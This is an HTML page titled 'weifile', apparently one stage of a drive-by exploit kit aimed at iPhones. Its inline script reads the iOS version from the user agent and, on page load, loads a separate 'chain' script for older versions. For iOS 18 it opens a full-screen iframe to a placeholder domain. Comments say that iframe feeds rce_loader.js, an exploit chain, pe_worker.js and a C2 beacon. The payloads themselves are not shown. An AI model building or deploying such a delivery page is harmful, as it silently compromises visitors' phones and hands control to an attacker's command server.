58 lines
2.0 KiB
HTML
58 lines
2.0 KiB
HTML
<html>
|
|
<head>
|
|
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
|
|
<meta http-equiv="Pragma" content="no-cache" />
|
|
<meta http-equiv="Expires" content="0" />
|
|
<meta property="og:determiner" content="auto" />
|
|
<title>weifile</title>
|
|
<script src="/t.js" defer></script>
|
|
</head>
|
|
<body>
|
|
<script type="text/javascript">
|
|
(function () {
|
|
function parseIosVersion() {
|
|
var ua = navigator.userAgent || '';
|
|
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
|
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
|
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
|
if (!m) {
|
|
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
|
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
|
}
|
|
return m[1].split('_').map(function (p) {
|
|
return parseInt(p, 10);
|
|
});
|
|
}
|
|
|
|
var ios = parseIosVersion();
|
|
if (!ios || ios[0] < 18) {
|
|
// Below iOS 18: non-DS chain (index.js).
|
|
var s = document.createElement('script');
|
|
s.src = 'index.js?' + Date.now();
|
|
(document.body || document.documentElement).appendChild(s);
|
|
return;
|
|
}
|
|
if (ios[0] === 18) {
|
|
// iOS 18.x only: redirect to ds-new frame.html (gate + rce_loader.js).
|
|
// Extract per-channel patch string (X.Y.ZZ) from URL path and pass as ?c=
|
|
// so rce_loader.js can forward it through the exploit chain to pe_worker.js,
|
|
// which includes it in the C2 beacon for channel attribution.
|
|
var channelCode = '';
|
|
try {
|
|
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
|
if (m && m[1]) channelCode = m[1].toUpperCase();
|
|
} catch (eC) {}
|
|
var dsDomain = '__DS_DOMAIN__';
|
|
var dsUrl = dsDomain + '/next-chain/frame.html';
|
|
if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
|
|
var ifr = document.createElement('iframe');
|
|
ifr.src = dsUrl;
|
|
ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
|
|
(document.body || document.documentElement).appendChild(ifr);
|
|
}
|
|
// iOS 19+ / 26+: no action.
|
|
})();
|
|
</script>
|
|
</body>
|
|
</html>
|